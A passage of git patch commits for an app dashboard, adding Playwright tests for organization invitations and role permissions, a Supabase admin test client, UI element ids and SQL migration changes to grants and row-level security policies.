+    await page.click('.k-ios > section:nth-child(4) > ol:nth-child(1) > li:nth-child(1) > button:nth-child(1)')
+
+    await page.waitForTimeout(250)
+
+    // Check if the popout is still visible
+    popOutVisible = await page.locator(popOutLocator).isVisible()
+  }
+}
+
 export async function useSupabase() {
   const options: SupabaseClientOptions<'public'> = {
     auth: {
@@ -43,3 +66,20 @@ export async function useSupabase() {
 
   return supaClient
 }
+
+export async function useSupabaseAdmin() {
+  const options: SupabaseClientOptions<'public'> = {
+    auth: {
+      autoRefreshToken: false,
+      persistSession: false,
+      detectSessionInUrl: false,
+    },
+  }
+
+  if (supaClientAdmin)
+    return supaClientAdmin
+  // eslint-disable-next-line n/prefer-global/process
+  supaClientAdmin = createClient<Database>(process.env.SUPABASE_URL ?? defaultSupabaseUrl, process.env.SUPABASE_SERVICE ?? defaultSupabaseServiceKey, options)
+
+  return supaClientAdmin
+}
diff --git a/tests_backend/utils.ts b/tests_backend/utils.ts
index b9ad53a890..f9eebd9d80 100644
--- a/tests_backend/utils.ts
+++ b/tests_backend/utils.ts
@@ -102,6 +102,7 @@ export async function testPlaywright(spec: string, env: { [key: string]: string
     env: {
       SKIP_BACKEND: 'true',
       SUPABASE_ANON: supabaseAnonToken!,
+      SUPABASE_SERVICE: supabaseSecret!,
       SUPABASE_URL: supabaseUrl!,
       ...env,
     },

From ca104bf28dc780a210c4d02b22645bd75eb0b813 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 10 Nov 2023 19:51:31 +0100
Subject: [PATCH 51/96] Invite test all types

---
 tests/organization_system.spec.ts | 95 +++++++++++++++++--------------
 tests/utils.ts                    | 18 ++++++
 2 files changed, 71 insertions(+), 42 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index c427bfa1f5..40f47be404 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -2,13 +2,15 @@
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import type { SupabaseType } from './utils'
-import { BASE_URL, beforeEachTest, expectPopout, useSupabase, useSupabaseAdmin } from './utils'
+import { BASE_URL, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
 
 test.beforeEach(beforeEachTest)
 
 test.describe('Test organization invite', () => {
-  test.beforeAll(async () => {
+  test.describe.configure({ mode: 'serial' })
+
+  test.beforeEach(async () => {
     const supabase = await useSupabaseAdmin()
 
     const { error } = await supabase.from('org_users')
@@ -18,57 +20,66 @@ test.describe('Test organization invite', () => {
     await expect(error).toBeNull()
   })
 
-  test('test invite user to org', async ({ page }) => {
-    // await expect('abc'.length).toBe(3)
+  const inviteTypes = ['read', 'upload', 'write', 'admin']
 
-    await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
-    await page.locator('#organization-picker').click()
+  for (const inviteType of inviteTypes) {
+    test(`test invite user to org (${inviteType})`, async ({ page }) => {
+      // await expect('abc'.length).toBe(3)
 
-    const allOrgs = (await page.locator('ul.py-2').all())
-    await expect(allOrgs).toHaveLength(1)
+      await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
+      await page.locator('#organization-picker').click()
 
-    await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
-    await getAllMembers(page)
+      const allOrgs = (await page.locator('ul.py-2').all())
+      await expect(allOrgs).toHaveLength(1)
 
-    // For now we do not check name, not the point of this test
-    const members = await getAllMembers(page)
-    await expect(members).toHaveLength(1)
+      await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
+      await getAllMembers(page)
 
-    const member = members[0]
-    await expect(member.email).toBe('test@capgo.app')
-    await expect(member.isDeletable).toBeFalsy()
-    await expect(member.isModifiable).toBeFalsy()
+      // For now we do not check name, not the point of this test
+      const members = await getAllMembers(page)
+      await expect(members).toHaveLength(1)
 
-    // Let's invite shall we?
-    await page.click('button.text-white:nth-child(2)')
-    await expect(page.locator('div.rounded-lg:nth-child(1)')).toBeVisible()
-    await expect(page.locator('h3.text-xl')).toHaveText('Insert email of the user you want to invite')
+      const member = members[0]
+      await expect(member.email).toBe('test@capgo.app')
+      await expect(member.isDeletable).toBeFalsy()
+      await expect(member.isModifiable).toBeFalsy()
 
-    // Type email and click "invite"
-    await page.fill('#dialog-input-field', 'test2@capgo.app')
-    await page.click('div.p-6:nth-child(3) > button:nth-child(2)')
-    await expect(page.locator('h3.text-xl')).toHaveText('Select user\'s permissions')
+      // Let's invite shall we?
+      await page.click('button.text-white:nth-child(2)')
+      await expect(page.locator('div.rounded-lg:nth-child(1)')).toBeVisible()
+      await expect(page.locator('h3.text-xl')).toHaveText('Insert email of the user you want to invite')
 
-    // Click on "read" (TODO: click on all)
-    await page.click('div.p-6:nth-child(3) > button:nth-child(2)')
-    await expectPopout(page, 'Successfully invited user to org')
+      // Type email and click "invite"
+      await page.fill('#dialog-input-field', 'test2@capgo.app')
+      await page.click('div.p-6:nth-child(3) > button:nth-child(2)')
+      await expect(page.locator('h3.text-xl')).toHaveText('Select user\'s permissions')
 
-    // Did we invite?
-    const supabase = await useSupabaseAdmin()
-    const organization = await getOrgDetails(page, supabase)
+      // Click on "read" (TODO: click on all)
 
-    const { data: orgUsers, error } = await supabase.from('org_users')
-      .select(`
-        user_id ( email ),
-        user_right
-      `)
-      .eq('org_id', organization.id)
+      const allButtons = await page.locator('div.p-6:nth-child(3)').getByRole('button').all()
+      const correctButton = await firstItemAsync(allButtons, async button => (await button.innerHTML()).toLowerCase().includes(inviteType))
+      await expect(correctButton).toBeDefined()
+      await correctButton?.click()
 
-    await expect(error).toBeNull()
-    await expect(orgUsers).toBeTruthy()
-    await expect(orgUsers).toHaveLength(1) // 1 because owner is not in this list
-    await expect((orgUsers![0].user_id as any).email).toBe('test2@capgo.app')
-  })
+      await expectPopout(page, 'Successfully invited user to org')
+
+      // Did we invite?
+      const supabase = await useSupabaseAdmin()
+      const organization = await getOrgDetails(page, supabase)
+
+      const { data: orgUsers, error } = await supabase.from('org_users')
+        .select(`
+          user_id ( email ),
+          user_right
+        `)
+        .eq('org_id', organization.id)
+
+      await expect(error).toBeNull()
+      await expect(orgUsers).toBeTruthy()
+      await expect(orgUsers).toHaveLength(1) // 1 because owner is not in this list
+      await expect((orgUsers![0].user_id as any).email).toBe('test2@capgo.app')
+    })
+  }
 })
 
 async function getAllMembers(page: Page) {
diff --git a/tests/utils.ts b/tests/utils.ts
index 8184220779..66da390a45 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -83,3 +83,21 @@ export async function useSupabaseAdmin() {
 
   return supaClientAdmin
 }
+
+type Predicate<T> = (item: T, index: number, items: T[]) => Promise<boolean>
+
+export async function firstItemAsync<T>(array: T[], predicate: Predicate<T>): Promise<T | undefined> {
+  for (const [index, item] of array.entries()) {
+    try {
+      if (await predicate(item, index, array))
+        return item
+    }
+    catch (e) {
+      // If we encounter an error, keep searching.
+      console.error(`Error predicate: (ignored)\n${e}`)
+    }
+  }
+
+  // If we do not find any matches, "reject" by raising an error.
+  return undefined
+}

From bd0b58b4948d6a199a03d0b7f0495cb12b55b681 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 11 Nov 2023 06:07:26 +0100
Subject: [PATCH 52/96] Fix base.sql + start working on accept invite test

---
 components.d.ts                             |  1 +
 supabase/migrations/20230815171919_base.sql |  8 ++++----
 tests/organization_system.spec.ts           | 10 ++++++++++
 3 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/components.d.ts b/components.d.ts
index e634314dd6..12bce887b2 100644
--- a/components.d.ts
+++ b/components.d.ts
@@ -34,6 +34,7 @@ declare module 'vue' {
     RouterLink: typeof import('vue-router')['RouterLink']
     RouterView: typeof import('vue-router')['RouterView']
     Searchbar: typeof import('./src/components/Searchbar.vue')['default']
+    SharedApps: typeof import('./src/components/dashboard/SharedApps.vue')['default']
     SharedUserTable: typeof import('./src/components/tables/SharedUserTable.vue')['default']
     Sidebar: typeof import('./src/components/Sidebar.vue')['default']
     Spinner: typeof import('./src/components/Spinner.vue')['default']
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 107215c68b..e3fa265db5 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -3080,10 +3080,10 @@ GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying)
 GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying) TO "authenticated";
 GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying) TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "postgres";
-GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "anon";
-GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "authenticated";
-GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "service_role";
+GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "postgres";
+GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "anon";
+GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "authenticated";
+GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "service_role";
 
 GRANT ALL ON FUNCTION "public"."is_onboarding_needed"("userid" "uuid") TO "postgres";
 GRANT ALL ON FUNCTION "public"."is_onboarding_needed"("userid" "uuid") TO "anon";
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 40f47be404..e6ac6802b6 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -82,6 +82,16 @@ test.describe('Test organization invite', () => {
   }
 })
 
+test.describe('Test organization invitation accept', () => {
+  const testWithInvitedUser = test.extend<object, { workerStorageState: string }>({
+    storageState: 'playwright/.auth/user2.json',
+  })
+
+  testWithInvitedUser('Test accept invite', async ({ page }) => {
+    console.log('test')
+  })
+})
+
 async function getAllMembers(page: Page) {
   await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
   await page.waitForTimeout(500)

From ab067e8b010c1bf8df513dfe9d0d459cb200389b Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 11 Nov 2023 06:08:56 +0100
Subject: [PATCH 53/96] Package.json script for testing org

---
 package.json | 1 +
 1 file changed, 1 insertion(+)

diff --git a/package.json b/package.json
index 2740991583..502dc5719c 100644
--- a/package.json
+++ b/package.json
@@ -30,6 +30,7 @@
     "test:selectable_disallow": "deno run --allow-all tests_backend/run_backend_tests.ts selectable_disallow",
     "test:all": "deno run --allow-all tests_backend/run_backend_tests.ts all",
     "test:zod": "deno test --allow-all tests_backend/zod.test.ts",
+    "test:organization": "deno run --allow-all tests_backend/run_backend_tests.ts organization",
     "dev-mobile": "BRANCH=development vite build --mode mobile && cap copy",
     "dev-build": "BRANCH=development vite build",
     "dev-serve": "BRANCH=development vite",

From ed36445ef3258bbc96f11a296ee69fb6e8c88cfb Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 11 Nov 2023 08:46:11 +0100
Subject: [PATCH 54/96] Test accept invite

---
 .../dashboard/DropdownOrganization.vue        |   2 +-
 tests/organization_system.spec.ts             | 107 ++++++++++++++++--
 2 files changed, 97 insertions(+), 12 deletions(-)

diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index bb7a158bfa..a4e47e3df6 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -130,7 +130,7 @@ watchEffect(async () => {
     </button>
     <div id="dropdown-org" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
       <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
-        <li v-for="org in organizations" :key="org.gid">
+        <li v-for="org in organizationStore.organizations" :key="org.gid">
           <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org)">{{ org.name }}</a>
         </li>
       </ul>
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index e6ac6802b6..aefe7fe800 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -2,11 +2,15 @@
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import type { SupabaseType } from './utils'
-import { BASE_URL, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
+import { BASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
 
 test.beforeEach(beforeEachTest)
 
+const inviteTypes = ['read', 'upload', 'write', 'admin']
+
+test.describe.configure({ mode: 'serial' })
+
 test.describe('Test organization invite', () => {
   test.describe.configure({ mode: 'serial' })
 
@@ -20,8 +24,6 @@ test.describe('Test organization invite', () => {
     await expect(error).toBeNull()
   })
 
-  const inviteTypes = ['read', 'upload', 'write', 'admin']
-
   for (const inviteType of inviteTypes) {
     test(`test invite user to org (${inviteType})`, async ({ page }) => {
       // await expect('abc'.length).toBe(3)
@@ -29,8 +31,8 @@ test.describe('Test organization invite', () => {
       await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
       await page.locator('#organization-picker').click()
 
-      const allOrgs = (await page.locator('ul.py-2').all())
-      await expect(allOrgs).toHaveLength(1)
+      const allOrgsLocator = await page.locator('#dropdown-org > ul > li')
+      await expect(allOrgsLocator).toHaveCount(1)
 
       await page.goto(`${BASE_URL}/dashboard/settings/organization/members`)
       await getAllMembers(page)
@@ -46,7 +48,7 @@ test.describe('Test organization invite', () => {
 
       // Let's invite shall we?
       await page.click('button.text-white:nth-child(2)')
-      await expect(page.locator('div.rounded-lg:nth-child(1)')).toBeVisible()
+      await awaitPopout(page)
       await expect(page.locator('h3.text-xl')).toHaveText('Insert email of the user you want to invite')
 
       // Type email and click "invite"
@@ -56,8 +58,7 @@ test.describe('Test organization invite', () => {
 
       // Click on "read" (TODO: click on all)
 
-      const allButtons = await page.locator('div.p-6:nth-child(3)').getByRole('button').all()
-      const correctButton = await firstItemAsync(allButtons, async button => (await button.innerHTML()).toLowerCase().includes(inviteType))
+      const correctButton = await findPopoutButton(page, inviteType)
       await expect(correctButton).toBeDefined()
       await correctButton?.click()
 
@@ -83,13 +84,90 @@ test.describe('Test organization invite', () => {
 })
 
 test.describe('Test organization invitation accept', () => {
+  test.describe.configure({ mode: 'serial' })
+
   const testWithInvitedUser = test.extend<object, { workerStorageState: string }>({
     storageState: 'playwright/.auth/user2.json',
   })
 
-  testWithInvitedUser('Test accept invite', async ({ page }) => {
-    console.log('test')
-  })
+  for (const inviteType of inviteTypes) {
+    test.describe(`Test organization invitation accept (${inviteType})`, () => {
+      test.describe.configure({ mode: 'serial' })
+
+      // Generate invite
+      testWithInvitedUser.beforeAll(async () => {
+        const supabase = await useSupabaseAdmin()
+
+        const { error: error1 } = await supabase.from('org_users')
+          .delete()
+          .eq('org_id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+
+        await expect(error1).toBeFalsy()
+
+        const { error: error2 } = await supabase.from('org_users')
+          .insert({
+            user_id: '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5',
+            app_id: 'com.demo.app',
+            user_right: `invite_${inviteType}` as any,
+            org_id: '046a36ac-e03c-4590-9257-bd6c9dba9ee8',
+          })
+
+        await expect(error2).toBeFalsy()
+      })
+
+      testWithInvitedUser('Test accept invite', async ({ page }) => {
+        // Click on the organization picker
+        await expect(page.locator('.space-x-3 > div:nth-child(1) > div:nth-child(1)')).toBeVisible()
+        await page.locator('#organization-picker').click()
+
+        // Get all organizations we can access
+        const allOrgsLocator = await page.locator('#dropdown-org > ul > li')
+        await expect(allOrgsLocator).toHaveCount(2)
+        const allOrgs = await allOrgsLocator.all()
+
+        // Check the name of the 'demo org' (We invite user to this org above)
+        let supabase = await useSupabase()
+        const { data: demoOrgName, error } = await supabase.from('orgs')
+          .select()
+          .eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+          .single()
+
+        await expect(error).toBeFalsy()
+        await expect(demoOrgName?.name).toBeTruthy()
+
+        // Get the button to click (The organziation that we have been invited)
+        const orgToAcceptInvite = await firstItemAsync(allOrgs, async (org) => {
+          const innerHtml = await org.innerHTML()
+
+          return innerHtml.includes(demoOrgName!.name)
+        })
+
+        await expect(orgToAcceptInvite).toBeTruthy()
+
+        // Click on the org that we have been invited to
+        await orgToAcceptInvite!.click()
+        await awaitPopout(page)
+
+        // find accept button and click it
+        const acceptButton = await findPopoutButton(page, 'accept')
+        await expect(acceptButton).toBeDefined()
+        await acceptButton?.click()
+
+        await expectPopout(page, 'accepted oranization inviation')
+
+        // Check if role has changed in supabase
+        supabase = await useSupabaseAdmin()
+        const { data: orgUser, error: orgUserError } = await supabase.from('org_users')
+          .select('user_right')
+          .eq('user_id', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5')
+          .single()
+
+        await expect(orgUserError).toBeFalsy()
+        await expect(orgUser).toBeDefined()
+        await expect(orgUser?.user_right).toBe(inviteType)
+      })
+    })
+  }
 })
 
 async function getAllMembers(page: Page) {
@@ -132,3 +210,10 @@ async function getOrgDetails(page: Page, supabase?: SupabaseType): Promise<Datab
 
   return data!
 }
+
+async function findPopoutButton(page: Page, buttonText: string) {
+  const allButtons = await page.locator('div.p-6:nth-child(3)').getByRole('button').all()
+  const correctButton = await firstItemAsync(allButtons, async button => (await button.innerHTML()).toLowerCase().includes(buttonText))
+
+  return correctButton
+}

From b22520cce9c58f3b9bd0025672c47c8c80e7f9e6 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 11 Nov 2023 09:23:57 +0100
Subject: [PATCH 55/96] Fix stats (no clickhouse)

---
 supabase/functions/_utils/supabase.ts       |  2 +-
 supabase/migrations/20230815171919_base.sql | 22 ++++++++++++++++++++-
 2 files changed, 22 insertions(+), 2 deletions(-)

diff --git a/supabase/functions/_utils/supabase.ts b/supabase/functions/_utils/supabase.ts
index 22636f01e4..ec8a883a68 100644
--- a/supabase/functions/_utils/supabase.ts
+++ b/supabase/functions/_utils/supabase.ts
@@ -350,7 +350,7 @@ export async function getSDashboard(auth: string, userIdQuery: string, rangeStar
     const appIds = await supabaseClient(auth)
       .from('apps')
       .select('app_id')
-      .eq('user_id', userId)
+      // .eq('user_id', userId)
       .then(res => res.data?.map(app => app.app_id) || [])
     console.log('appIds', appIds)
     req.in('app_id', appIds)
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index e3fa265db5..a3e4f05db5 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -314,6 +314,21 @@ begin
 End;
 $$;
 
+CREATE FUNCTION "public"."get_user_main_org_id_by_app_id"("app_id" text) RETURNS uuid
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+DECLARE
+  org_id uuid;
+begin
+  select apps.user_id from apps
+  into org_id
+  where ((apps.app_id)::text = (get_user_main_org_id_by_app_id.app_id)::text)
+  limit 1;
+
+  return (select get_user_main_org_id(org_id));
+End;
+$$;
+
 -- This is not important, however is a good example of how to return a setof a custom type
 -- Returns a set of custom type is compicated, and this shows how to do it
 -- CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS setof "public"."owned_orgs"
@@ -2729,7 +2744,12 @@ WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth
 CREATE POLICY "Allow org members to select" ON "public"."devices"
 AS PERMISSIVE FOR SELECT
 TO public
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"((select user_id from "public"."apps" where apps.app_id=app_id)), app_id, NULL::bigint));
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."app_usage"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
 
 CREATE POLICY "Allow org owner to all" ON "public"."org_users"
 AS PERMISSIVE FOR ALL

From 51658bf1f557f967e44cc08c0c7fd6cd517a3247 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 11 Nov 2023 19:05:11 +0100
Subject: [PATCH 56/96] Permission tests part 1 for channel

---
 src/components/Dialog.vue              |   2 +-
 src/components/MobileStats.vue         |   2 +-
 src/components/StatsBar.vue            |   1 +
 src/components/Table.vue               |   2 +-
 src/components/dashboard/Dashboard.vue |   2 +-
 src/components/dashboard/TopApps.vue   |   2 +-
 src/components/dashboard/Usage.vue     |   3 +-
 src/components/dashboard/UsageCard.vue |   2 +-
 src/components/tables/ChannelTable.vue |   2 +-
 src/pages/app/package/[package].vue    |   2 +-
 tests/organization_system.spec.ts      | 177 ++++++++++++++++++++++++-
 11 files changed, 187 insertions(+), 10 deletions(-)

diff --git a/src/components/Dialog.vue b/src/components/Dialog.vue
index 7ee5a0788d..273b1b244a 100644
--- a/src/components/Dialog.vue
+++ b/src/components/Dialog.vue
@@ -72,7 +72,7 @@ onMounted(() => {
     aria-hidden="true"
     class="fixed left-0 right-0 top-0 z-50 hidden h-[calc(100%-1rem)] w-full overflow-x-hidden overflow-y-auto p-4 md:inset-0 md:h-full"
   >
-    <div class="relative w-full h-full max-w-2xl md:h-auto">
+    <div id="popout" class="relative w-full h-full max-w-2xl md:h-auto">
       <!-- Modal content -->
       <div class="relative bg-white rounded-lg shadow dark:bg-gray-700">
         <!-- Modal header -->
diff --git a/src/components/MobileStats.vue b/src/components/MobileStats.vue
index ca25121751..3834b72ad0 100644
--- a/src/components/MobileStats.vue
+++ b/src/components/MobileStats.vue
@@ -140,7 +140,7 @@ watchEffect(async () => {
         {{ t('usage-title') }}
       </div>
       <div class="flex items-start">
-        <div class="mr-2 text-3xl font-bold text-slate-800 dark:text-white">
+        <div id="bundles-total" class="mr-2 text-3xl font-bold text-slate-800 dark:text-white">
           {{ bundles.length.toLocaleString() }}
         </div>
       </div>
diff --git a/src/components/StatsBar.vue b/src/components/StatsBar.vue
index 868654527c..d7b3a84e38 100644
--- a/src/components/StatsBar.vue
+++ b/src/components/StatsBar.vue
@@ -12,6 +12,7 @@ const props = defineProps<{ stats: Stat[]; mini?: boolean }>()
     >
       <span class="text-center duration-100 ease-in scale-100" :class="{ 'group-hover:scale-125': s.link }">
         <p
+          id="stats-val"
           class="font-bold dark:text-white font-pj lg:order-1 lg:mt-3"
           :class="{ 'text-5xl': !props.mini, 'text-3xl': props.mini }"
         >
diff --git a/src/components/Table.vue b/src/components/Table.vue
index d836dae4cc..39e2205d0a 100644
--- a/src/components/Table.vue
+++ b/src/components/Table.vue
@@ -188,7 +188,7 @@ onMounted(() => {
       </div>
     </div>
     <div class="hidden md:block">
-      <table class="w-full text-sm text-left text-gray-500 dark:text-gray-400">
+      <table id="custom_table" class="w-full text-sm text-left text-gray-500 dark:text-gray-400">
         <thead class="text-xs text-gray-700 uppercase bg-gray-50 dark:bg-gray-700 dark:text-gray-400">
           <tr>
             <th v-for="(col, i) in columns" :key="i" scope="col" class="px-6 py-3" :class="{ 'cursor-pointer': col.sortable }" @click="sortClick(i)">
diff --git a/src/components/dashboard/Dashboard.vue b/src/components/dashboard/Dashboard.vue
index 8e2005f674..69e0f565c4 100644
--- a/src/components/dashboard/Dashboard.vue
+++ b/src/components/dashboard/Dashboard.vue
@@ -48,7 +48,7 @@ watchEffect(async () => {
         <!-- Line chart (Acme Plus) -->
         <!-- Table (Top Channels) -->
         <TopApps :apps="props.apps" :header="t('top-apps')" :delete-button="true" @reload="emit('reloadApp')" />
-        <TopApps v-if="sharedApps.length > 0" :apps="props.sharedApps" :header="t('shared-apps')" :delete-button="false" @reload="emit('reloadApp')" />
+        <TopApps v-if="sharedApps.length > 0" id="shared" :apps="props.sharedApps" :header="t('shared-apps')" :delete-button="false" @reload="emit('reloadApp')" />
       </div>
     </div>
     <k-fab v-if="!stepsOpen && !isMobile" class="right-4-safe bottom-4-safe secondary fixed z-20" @click="stepsOpen = true">
diff --git a/src/components/dashboard/TopApps.vue b/src/components/dashboard/TopApps.vue
index 840addcd6b..bd3b58f763 100644
--- a/src/components/dashboard/TopApps.vue
+++ b/src/components/dashboard/TopApps.vue
@@ -23,7 +23,7 @@ const { t } = useI18n()
     <div class="">
       <!-- Table -->
       <div class="hidden overflow-x-auto p-3 md:block">
-        <table class="w-full table-auto" aria-label="Table with your apps">
+        <table id="top_apps" class="w-full table-auto" aria-label="Table with your apps">
           <!-- Table header -->
           <thead class="rounded-sm bg-slate-50 text-xs uppercase text-slate-400 dark:bg-gray-800 dark:text-white">
             <tr>
diff --git a/src/components/dashboard/Usage.vue b/src/components/dashboard/Usage.vue
index 4519e58e67..d1691fb132 100644
--- a/src/components/dashboard/Usage.vue
+++ b/src/components/dashboard/Usage.vue
@@ -107,7 +107,8 @@ loadData()
 <template>
   <div class="grid grid-cols-12 gap-6 mb-6" :class="appId ? 'grid-cols-16' : ''">
     <UsageCard
-      v-if="!isLoading" :limits="allLimits.mau" :colors="colors.emerald" :datas="datas.mau"
+      v-if="!isLoading" id="mau-stat" :limits="allLimits.mau" :colors="colors.emerald"
+      :datas="datas.mau"
       :title="t('montly-active')" unit="Users"
     />
     <div
diff --git a/src/components/dashboard/UsageCard.vue b/src/components/dashboard/UsageCard.vue
index de16204bce..e60eeb2a87 100644
--- a/src/components/dashboard/UsageCard.vue
+++ b/src/components/dashboard/UsageCard.vue
@@ -62,7 +62,7 @@ const lastDayEvolution = computed(() => {
         {{ t('usage-title') }}
       </div>
       <div class="flex items-start">
-        <div class="mr-2 text-3xl font-bold text-slate-800 dark:text-white">
+        <div id="usage_val" class="mr-2 text-3xl font-bold text-slate-800 dark:text-white">
           {{ total?.toLocaleString() }} {{ unit }}
         </div>
         <div v-if="lastDayEvolution" class="rounded-full bg-emerald-500 px-1.5 text-sm font-semibold text-white">
diff --git a/src/components/tables/ChannelTable.vue b/src/components/tables/ChannelTable.vue
index 2ba735c643..549e279a9a 100644
--- a/src/components/tables/ChannelTable.vue
+++ b/src/components/tables/ChannelTable.vue
@@ -311,7 +311,7 @@ watch(props, async () => {
       @reload="reload()" @reset="refreshData()"
       @row-click="openOne"
     />
-    <k-fab class="fixed z-20 right-4-safe bottom-20-safe md:right-4-safe md:bottom-4-safe secondary" @click="openAddChannel">
+    <k-fab id="create_channel" class="fixed z-20 right-4-safe bottom-20-safe md:right-4-safe md:bottom-4-safe secondary" @click="openAddChannel">
       <template #icon>
         <component :is="IconPlus" />
       </template>
diff --git a/src/pages/app/package/[package].vue b/src/pages/app/package/[package].vue
index 031f2033fd..0cfcb4a510 100644
--- a/src/pages/app/package/[package].vue
+++ b/src/pages/app/package/[package].vue
@@ -119,7 +119,7 @@ watchEffect(async () => {
   <div v-else class="w-full h-full px-4 pt-4 mb-8 overflow-y-auto max-h-fit lg:px-8 sm:px-6">
     <Usage :app-id="id" />
 
-    <BlurBg class="mb-10">
+    <BlurBg id="app-stats" class="mb-10">
       <template #default>
         <StatsBar :stats="stats" />
       </template>
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index aefe7fe800..100dbd3ae0 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,6 +1,7 @@
 // import type { Page } from '@playwright/test'
 import type { Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
+import { A, E } from 'ios/App/App/public/assets/Account-fa6ef73d'
 import type { SupabaseType } from './utils'
 import { BASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
@@ -107,7 +108,6 @@ test.describe('Test organization invitation accept', () => {
         const { error: error2 } = await supabase.from('org_users')
           .insert({
             user_id: '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5',
-            app_id: 'com.demo.app',
             user_right: `invite_${inviteType}` as any,
             org_id: '046a36ac-e03c-4590-9257-bd6c9dba9ee8',
           })
@@ -170,6 +170,181 @@ test.describe('Test organization invitation accept', () => {
   }
 })
 
+test.describe('Test organization system permissions', () => {
+  test.describe.configure({ mode: 'serial' })
+  // const inviteTypes = ['read', 'upload', 'write', 'admin']
+  const permissionMatrix = {
+    read: {
+      deleteChannel: false,
+      addChannel: false,
+    },
+    upload: {
+      deleteChannel: false,
+      addChannel: false,
+    },
+    write: {
+      deleteChannel: false,
+      addChannel: false,
+    },
+    admin: {
+      deleteChannel: true,
+      addChannel: true,
+    },
+    owner: {
+      deleteChannel: true,
+      addChannel: true,
+    },
+  }
+
+  for (const [inviteType, permission] of new Map(Object.entries(permissionMatrix))) {
+    let channelSnapshots = null as Database['public']['Tables']['channels']['Row'][] | null
+
+    test.describe(`Test organization system permissions (${inviteType})`, () => {
+      test.describe.configure({ mode: 'serial' })
+
+      const testWithInvitedUser = test.extend<object, { workerStorageState: string }>({
+        // User = owner if invite type === owner, otherwise user = invited
+        storageState: inviteType !== 'owner' ? 'playwright/.auth/user2.json' : 'playwright/.auth/user1.json',
+      })
+
+      // Generate invite
+      testWithInvitedUser.beforeAll(async () => {
